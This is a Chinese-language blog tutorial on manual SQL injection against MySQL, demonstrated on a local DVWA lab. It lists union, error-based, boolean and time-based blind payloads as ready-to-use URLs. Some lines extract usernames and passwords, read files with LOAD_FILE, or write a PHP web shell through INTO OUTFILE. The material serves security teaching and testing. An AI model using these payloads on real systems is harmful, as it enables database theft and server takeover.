【web安全】第六弹:手工SQL注入详解

前一段时间,在对SQL注入有了新的理解之后,写了这篇文章。本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章最后面,有兴趣的可以下载下来看。

 

注:本文目标读者是对SQL注入有一定了解,能使用一些工具(SQLMAP、pangolin等)进行自动化SQL注入测试,又想了解工具原理和SQL注入原理的童鞋。

0x00 基础理论篇

 

0x01 注入技巧&基本模式:

首先,要对下面的一些函数和基本语句有一定的了解。

1. 普通的union select:

select * from user where id=‘12‘ union select 1,2,3,4 from fabiao#+‘.js

2. and select:

URL and (select count(username)from admin)>0   //猜解数据库列名,还可以猜解数据类型

URL and (select length(username) from admin limit 1)>0  //猜解数据库列名长度:修改后面的>0是猜解长度 

URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解内容:猜解出的内容需对应ASCII表,ascii、substring为MySQL的函数,MsSQL略有不同

3. 基于时间的盲注:

URL union select 1,benchmark(1000000,md5(‘test‘)),1 from user where userid=1 and ord(substring(username,1,1))=97

URL union select if(substring(Password,1,1)=‘a‘,benchmark(10000000,sha(1)),0) User,Password from mysql.user where user =‘root‘

4. 写入到文件:

mysql> select ‘<?php echo shell_exec("ifconfig"); ?>‘ into outfile ‘F:/wamp/www/shell.php‘;  //貌似在页面编码为gbk的时候,<>会被转义为实体编码,要考虑和文件包含漏洞一起利用

5. 读取文件:

URL union select 1,LOAD_FILE(‘E:/wamp/www/test.txt‘),2,3,4,5,6--+    //注意mysql 读写文件用\的时候要转义,即E:\\wamp\\www\\test.txt

6. 从数据库读取数据 

Mysql > select concat(username,0x3a,password) from admin; 以用户名:密码的格式从数据库读取数据

URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0

7. 注释:

针对mysql /*! */

其他数据库会忽略掉省略符号之间的语句,常用于绕过waf

8. 注入时不需要空格的例子:

select/**/*/**/from/**/user;    //  /**/可以充当空格

 

0x02 高使用率的函数:

concat(str1,str2,str3)    字符串连接

group_concat(DISTINCT column_name)    与group by配合使用,添加distinct后,将不同的column_name连接起来

ascii()    获取ASCII码

substring(str,pos,length)  对字符串str,从pos开始,截取length

benchmark(1000000,md5(‘test‘)) 在时间盲注中会用到,执行1000000遍md5(‘test‘)来起到延时注入的效果

if(condition,true_sentence,false_sentence) 在时间盲注中用到,如果condition成立,执行第二个参数中的语句,否则执行第三个参数中的语句。

 

0x03 判断用什么方式注入:

看完上面的部分,那么问题来了,有Union注入,也有and注入,还有什么盲注,SQL注入到底哪家强?

判断方法是介个样子的。添加单引号‘  查看结果:

1. 报错==>报错注入 || Union注入 

2. 不报错,但是页面信息有变化(屏蔽了错误信息)==>基于布尔的盲注 || Union注入

3. 页面信息无变化==>基于时间的盲注 || Union注入

 

0x04 基于时间的盲注:

基于时间的盲注,是一个小难点。这里来重点讲一下。

什么样的环境下会用到基于时间的盲注?当前执行的语句没有回显。

举例说明:登录。

$num = select count(*) from user where uid=‘$uid‘ and sleep(5)--+ ‘ and password=‘$pwd‘ 

if($num) return 1;

else return 0;

根据数据库查询到的数据条数,会有两种返回值,成功和失败。在注入的时候,可能由于注入语句的构造不合理造成语法错误,返回失败。也有可能是并不满足某些条件(比如说 ascii(substring(password,1,1))>80),返回失败。我只需要第二种返回,但第一种返回会造成干扰。为了区分开,我让执行正确的语句,延迟几秒再回来,这样就区分开了~这就是基于时间的盲注。

同理,还有update,delete等语句的利用,也需要基于时间的盲注,这里不细讲,如果有兴趣,可以参考http://drops.wooyun.org/tips/2078 《利用insert,update和delete注入获取数据》

 

0x10 实战篇

以DVWA系统来进行讲解,将安全等级调为最低

 

0x11 MySQL内建数据库:

当mysq版本大于5.0的时候,会存在一个内建数据库——information_schema,存了很多数据库字段、数据表等的相关信息。

其中最常用的数据表是columns,从字面意思上来看,是字段名,但是这张数据表里也存了字段所在表,及所在数据库的信息。

举个例子,我要提取所有的数据库名:

select group_concat(distinct table_schema) from information_schema.columns;

提取 dvwa 数据库中所有的表名:

select group_concat(distinct table_name) from information_schema.columns where table_schema=‘DVWA‘;

 

0x12 报错注入:

mysql中有三种报错注入——floor、extractValue、updateXml。仅用extractValue来举个例子。

提交后,MySQL报错,按照上面的结论,为报错注入。

基础注入语句:and extractvalue(1, concat(0x5c, (  select table_name from information_schema.tables limit 1  )));

1. 爆数据库

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ and 
extractvalue(1, concat(0x5c, (   select table_schema from information_schema.columns group by table_schema limit 2,1      )))--+

可以通过更改注入语句中的limit来爆出不同的数据库

2. 爆数据表

和爆数据表是一个原理

3. 爆表中字段

XPATH报错的对长度有一些限制,那还是一个一个的来

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ and 
extractvalue(1, concat(0x5c, ( select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 1,1 )))--+

4. 爆数据

根据上一次爆出的字段信息,去对应的数据表爆数据。这里可以用concat将需要爆的字段连接在一起组团爆出来~~

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ and 
extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users limit 1 )))--+

 

0x13 union注入:

个人比较喜欢用union~~union的时候,要求:两次查询的列数必须一致。所以要先想办法知道第一次查询了多少列~

1. 判断列数

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1‘ order by 1 --+

不断修改order by的数字,直到页面报错,或者页面发生变化,临界的数字即为列数

注意这个地方的列数,是查询的列数,而不是数据表的列数。

举个例子:

select user,password from users     //查询的列数为2

select * from users                             //查询的列数==数据表的列数

2. 判断哪些数据是显示在页面上的

因为不是查询的所有内容都会显示在页面上(有一些内容输出在注释或者不输出),为了数据回显,要看一下哪几列可以利用。

如果没有可以用的回显位置的话,那就不能用union注入了。

3. 爆数据库(所有的结果都粗来了~):

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1‘ 
union select group_concat(DISTINCT table_schema),2 from information_schema.columns --+

 

0x14 基于布尔的盲注:

如果Union注入没有找到回显点,错误信息又被屏蔽的情况下,就要考虑布尔盲注了。盲注的话,往往需要多次重复。这里仅举几个简单的例子。

1. 基本判断方法

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ 
and ascii(substring((select password from users limit 1),1,1))>51--+

一位一位的验证,逐步缩小大小,定位到某一个ASCII值。

 

0x15 基于时间的盲注:

时间盲注应该是最后的选择,没有办法的办法。因为时间盲注是通过数据库的delay来判断是否注入成功,某个条件是否成立的。效率很低,注入的速度也很慢。利用场景在上文中提到了,需要好好体会。本段中的例子并不贴切。

1. 判断是否存在时间盲注

union形式(如果效果不明显可以再两个0): http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ union select 1,benchmark(10000000,md5("test")) --+ 

boolen形式:http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1‘ and sleep(5) --+

2. 爆数据库:

具体过程和布尔型盲注相仿。

 

0x30 文中用到的工具:

Firefox浏览器+Hackbar(浏览器扩展)

DVWA(开源web渗透测试系统)

参考资料:

http://drops.wooyun.org/tips/2078  利用insert,update和delete注入获取数据

http://phpinfo.me/2014/01/02/146.html  mysql 3种报错模式注入

http://drops.wooyun.org/tips/143  sqlmap用户手册

 

 

http://www.cnblogs.com/kuoaidebb/p/4570101.html  博客园 - 阔爱的贝贝

DOC文档:http://files.cnblogs.com/files/kuoaidebb/SQL%E6%B3%A8%E5%85%A5%E5%8D%9A%E5%AE%A2.zip

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。